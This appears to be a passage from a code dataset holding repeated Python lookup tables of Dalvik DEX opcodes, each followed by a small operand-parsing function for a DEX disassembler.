'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT31C(buffer, dex_object, pc_point, offset): bbbbbbbb, = struct.unpack_from("I", buffer, 2) return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % ord(buffer[1]), "+%d" % bbbbbbbb)
null
17,385
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT31I(buffer, dex_object, pc_point, offset): bbbbbbbb, = struct.unpack_from("I", buffer, 2) return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % ord(buffer[1]), "%d" % bbbbbbbb)
null
17,386
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 